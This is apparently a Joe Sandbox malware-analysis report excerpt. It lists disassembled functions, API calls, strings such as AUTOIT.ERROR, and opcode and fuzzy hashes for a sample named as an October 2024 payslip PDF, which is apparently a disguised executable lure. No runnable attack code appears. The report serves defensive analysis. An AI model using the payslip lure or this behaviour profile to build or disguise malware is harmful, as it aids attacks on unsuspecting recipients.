Part of subcall function 00CA12F3: SelectObject.GDI32(?,00000000), ref: 00CA135C
Part of subcall function 00CA12F3: BeginPath.GDI32(?), ref: 00CA1373
Part of subcall function 00CA12F3: SelectObject.GDI32(?,00000000), ref: 00CA139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00D2C1C4
LineTo.GDI32(00000000,00000003,?), ref: 00D2C1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D2C1E6
LineTo.GDI32(00000000,00000000,?), ref: 00D2C1F6
EndPath.GDI32(00000000), ref: 00D2C206
StrokePath.GDI32(00000000), ref: 00D2C216

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 3356cebd832b1af44cf703bb6d5778d2ae063d441733b2c99ab2b167ba7994d3
Instruction ID: 2f495b752d0d672ee235e55921fca3e9c3d0e1075fe871fe12c690167d021fb9
Opcode Fuzzy Hash: 3356cebd832b1af44cf703bb6d5778d2ae063d441733b2c99ab2b167ba7994d3
Instruction Fuzzy Hash: E611F77640020DBFDF129F90DC88FAA7FADEB18354F048425BA188A2A2C7719D55DBB0

Function 00CC03A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CC03D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 00CC03DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CC03E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CC03F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00CC03F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CC0401

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 83bf668a3092a4b0be3984f1a8598aa5b212d9aeaaa6910c653903a3c01efcf5
Instruction ID: 2ad22103b5f02fcd9336756395ac8c73393c9943d466c3e985fbea70cf9ac71b
Opcode Fuzzy Hash: 83bf668a3092a4b0be3984f1a8598aa5b212d9aeaaa6910c653903a3c01efcf5
Instruction Fuzzy Hash: 29016CB09027597DE3008F5A8C85B52FFB8FF19354F00411BA15C87A41C7F5A868CBE5

Function 00D0568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00D0569B
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00D056B1
GetWindowThreadProcessId.USER32(?,?), ref: 00D056C0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D056CF
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D056D9
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D056E0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 163e5264ff909047983877fd0110224020c646f0df1c54d19b39a4afaedea1a7
Instruction ID: 011dc939b330e5f55cb3fe4278604d49bf04a0dbf12b48763677f6169e843c99
Opcode Fuzzy Hash: 163e5264ff909047983877fd0110224020c646f0df1c54d19b39a4afaedea1a7
Instruction Fuzzy Hash: DAF03631541258BBD7315B52DC0DEEF7B7CEFD6B11F400579F904D1150D7A11A1286B5

Function 00D074D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00D074E5
EnterCriticalSection.KERNEL32(?,?,00CB1044,?,?), ref: 00D074F6
TerminateThread.KERNEL32(00000000,000001F6,?,00CB1044,?,?), ref: 00D07503
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00CB1044,?,?), ref: 00D07510

Part of subcall function 00D06ED7: CloseHandle.KERNEL32(00000000,?,00D0751D,?,00CB1044,?,?), ref: 00D06EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 00D07523
LeaveCriticalSection.KERNEL32(?,?,00CB1044,?,?), ref: 00D0752A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 97744a75a77ee267a1564b95968bcfcb651c1dcec93949b27d2d2b441f6392af
Instruction ID: 023870e7836039326b3cc1c1efddef499de4088a2361d98e18590fa2abd85f3f
Opcode Fuzzy Hash: 97744a75a77ee267a1564b95968bcfcb651c1dcec93949b27d2d2b441f6392af
Instruction Fuzzy Hash: 4CF05E3A940712EBDB221B64FD8CAEB773AEF56302B040931F242D51B4CB755812CB74

Function 00CF8E74 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00CF8E7F
UnloadUserProfile.USERENV(?,?), ref: 00CF8E8B
CloseHandle.KERNEL32(?), ref: 00CF8E94
CloseHandle.KERNEL32(?), ref: 00CF8E9C
GetProcessHeap.KERNEL32(00000000,?), ref: 00CF8EA5
HeapFree.KERNEL32(00000000), ref: 00CF8EAC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 5854ae16f3c16804e78885786e3bebfe52a73eba45bff1dc56f309bfe474238b
Instruction ID: cd5991fb9b9b971c6c63697fcb0ecd185ef8dde29d0bfadc9b1ba798305abb92
Opcode Fuzzy Hash: 5854ae16f3c16804e78885786e3bebfe52a73eba45bff1dc56f309bfe474238b
Instruction Fuzzy Hash: 8EE0C236004201FBDA125FE1ED0C91ABB79FBA9322B508A30F219C1270CB32A432DB60

Function 00D18902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D18928
CharUpperBuffW.USER32(?,?), ref: 00D18A37
VariantClear.OLEAUT32(?), ref: 00D18BAF

Part of subcall function 00D07804: VariantInit.OLEAUT32(00000000), ref: 00D07844
Part of subcall function 00D07804: VariantCopy.OLEAUT32(00000000,?), ref: 00D0784D
Part of subcall function 00D07804: VariantClear.OLEAUT32(00000000), ref: 00D07859

Strings

Incorrect Parameter format, xrefs: 00D18960, 00D18B22
AUTOIT.ERROR, xrefs: 00D18A3D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: a651e407b31450f5b589f5c569897caed1f84e18dbbe47a8c84d0de3e30423ce
Instruction ID: a1f8fd35e5c9a471fdf9d97800f9810575d4094386bb92425d92a06a29683c37
Opcode Fuzzy Hash: a651e407b31450f5b589f5c569897caed1f84e18dbbe47a8c84d0de3e30423ce
Instruction Fuzzy Hash: 71918F71608301AFC710DF24D5819ABBBF4EF89314F14896EF89A8B361DB30E945DB62

Function 00D02F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBFEC6: _wcscpy.LIBCMT ref: 00CBFEE9

_memset.LIBCMT ref: 00D03077
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00D030A6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00D03159
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00D03187

Strings

0, xrefs: 00D03063

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 9e8c5bbe2ee938f191820dd94fa22c6b75a1dde24d4db90d6c7d2a165cd40829
Instruction ID: 185762ae80232961278dbbe82a35f8e4b2048708ba18ca0cd3059d3b51350cea
Opcode Fuzzy Hash: 9e8c5bbe2ee938f191820dd94fa22c6b75a1dde24d4db90d6c7d2a165cd40829
Instruction Fuzzy Hash: D55191316093019BD7259F28D845B6BBBE8EF99350F08492EF899D32D1DB70CA449773

Function 00CFDA5D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00CFDAC5
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00CFDAFB
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00CFDB0C
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00CFDB8E

Strings

DllGetClassObject, xrefs: 00CFDB01

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 2f905bd1586a7672e478242e2a8c5fce350fe3a5f8f4d052a39b27aaeb0e7ad8
Instruction ID: 1db915a95668669a3fd87ea9d644640e6455f66617737ab72e53ae26aae01b48
Opcode Fuzzy Hash: 2f905bd1586a7672e478242e2a8c5fce350fe3a5f8f4d052a39b27aaeb0e7ad8
Instruction Fuzzy Hash: 5541A3B1600308EFDB55CF55C884AAABBBAEF44310F1580A9AE06DF205D7B1DE44DBA1

Function 00D02C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D02CAF
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00D02CCB
DeleteMenu.USER32(?,00000007,00000000), ref: 00D02D11
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00D66890,00000000), ref: 00D02D5A

Strings

0, xrefs: 00D02CA4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 747c87ab930de067b7c0750d3bd618e6735ce1d9a52de975b03b61e1842a7056
Instruction ID: f129206c867c807c21ec0846d932299039cf84b7e62cdf393982f205a99e1cea
Opcode Fuzzy Hash: 747c87ab930de067b7c0750d3bd618e6735ce1d9a52de975b03b61e1842a7056
Instruction Fuzzy Hash: 854192311063429FD720DF24C848B6AB7E8EF85320F18466DF9A9972D1D770E905CBB2

Function 00D1DAB9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00D1DAD9

Part of subcall function 00CA79AB: _memmove.LIBCMT ref: 00CA79F9

Strings

cdecl, xrefs: 00D1DB30
winapi, xrefs: 00D1DB4A
stdcall, xrefs: 00D1DB5B
none, xrefs: 00D1DBB4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 297b4a9238360405a3b7bc30a60a6234f73a21177e5fd70762f3a8845d7c73cf
Instruction ID: 906c727e27f01eee467355e662d33e09c5bed700a2684260570e509e87ac36c1
Opcode Fuzzy Hash: 297b4a9238360405a3b7bc30a60a6234f73a21177e5fd70762f3a8845d7c73cf
Instruction Fuzzy Hash: 0431907060461AEFCF10EF54DD809EEB3B5FF05314B10862AE866977D1DB31AA46DBA0

Function 00CF9372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00CF93F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00CF9409
SendMessageW.USER32(?,00000189,?,00000000), ref: 00CF9439

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Strings

ListBox, xrefs: 00CF93B5
ComboBox, xrefs: 00CF9380

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 9d241276f7046ccafc943e3a3f2894a6401f4b17a4bde723c94c047026273430
Instruction ID: 4dccccb9b7029896cd42639fa50d8539bd6b84087d33613525cb5c9aa725bae9
Opcode Fuzzy Hash: 9d241276f7046ccafc943e3a3f2894a6401f4b17a4bde723c94c047026273430
Instruction Fuzzy Hash: DA21E4B1900108AEDF14ABB0DC85DFFBB78DF16354B104629FA25972E1DB355E0EAA21

Function 00CA410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00CDD5EC

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

_memset.LIBCMT ref: 00CA418D
_wcscpy.LIBCMT ref: 00CA41E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00CA41F1

Strings

Line: , xrefs: 00CDD615

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 0cfff3e25181f7e720e088ceb65b45c406a92e5a55ffb06c6408e78e16344c7b
Instruction ID: 49bee3a56c7fa72218a7f67d617c05efd2b78de968fc82d8b52e56e6cd3d2ea0
Opcode Fuzzy Hash: 0cfff3e25181f7e720e088ceb65b45c406a92e5a55ffb06c6408e78e16344c7b
Instruction Fuzzy Hash: F23107714083066FD325EB60DC45FDF77ECAF46308F10461EF29592191EBB0A649D7A6

Function 00D26656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CA1D73
Part of subcall function 00CA1D35: GetStockObject.GDI32(00000011), ref: 00CA1D87
Part of subcall function 00CA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CA1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00D266D0
LoadLibraryW.KERNEL32(?), ref: 00D266D7
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00D266EC
DestroyWindow.USER32(?), ref: 00D266F4

Strings

SysAnimate32, xrefs: 00D266AB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 213d8ad5c2f53c5db37f1cd256b0de02ae46b14c4d0fcd0d45b39e9c808ff6fe
Instruction ID: 0dcd7a279fc1eddf349094fa69b61b09ac982ad6ce6e46aef35b4e9e60586ceb
Opcode Fuzzy Hash: 213d8ad5c2f53c5db37f1cd256b0de02ae46b14c4d0fcd0d45b39e9c808ff6fe
Instruction Fuzzy Hash: B7217771200326ABEF108F64FC80EAB37A9EB6936DF144629FA51921A0D772CC919770

Function 00D0703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00D0705E
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D07091
GetStdHandle.KERNEL32(0000000C), ref: 00D070A3
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00D070DD

Strings

nul, xrefs: 00D070D8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 0bc888713ab87d4d8c8caa03eaa49eb062099ac23b746b73012687bd9483ab73
Instruction ID: ee54c8dc72826da2dea6253970ac8f8afb63f623e0b5b0787f687bee4ee3cfb3
Opcode Fuzzy Hash: 0bc888713ab87d4d8c8caa03eaa49eb062099ac23b746b73012687bd9483ab73
Instruction Fuzzy Hash: 76214F74904309ABDB209F28DC05B9A7BB8BF55720F244B29FCA9DB2D0D770A851CB70

Function 00D0710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00D0712B
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D0715D
GetStdHandle.KERNEL32(000000F6), ref: 00D0716E
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00D071A8

Strings

nul, xrefs: 00D071A3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: bc0eccd699457e56676e142a11ba1443a74e4b92178172d39fa5089e9f9322ee
Instruction ID: e16d7d3629ff5d3c6002043b39bb3e30e919f40cb81e1ddcc58f6a31371eb4bb
Opcode Fuzzy Hash: bc0eccd699457e56676e142a11ba1443a74e4b92178172d39fa5089e9f9322ee
Instruction Fuzzy Hash: 8321A475A043059BDB209F68DC04B9977A8AF55720F240A19FDE4DB2D0D770A8518772

Function 00D0AEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D0AEBF
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00D0AF13
__swprintf.LIBCMT ref: 00D0AF2C
SetErrorMode.KERNEL32(00000000,00000001,00000000,00D2F910), ref: 00D0AF6A

Strings

%lu, xrefs: 00D0AF26

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 458b50dbd5702c068e6a2416a96b96376e4b9539c0e11e2b7c948463db23e695
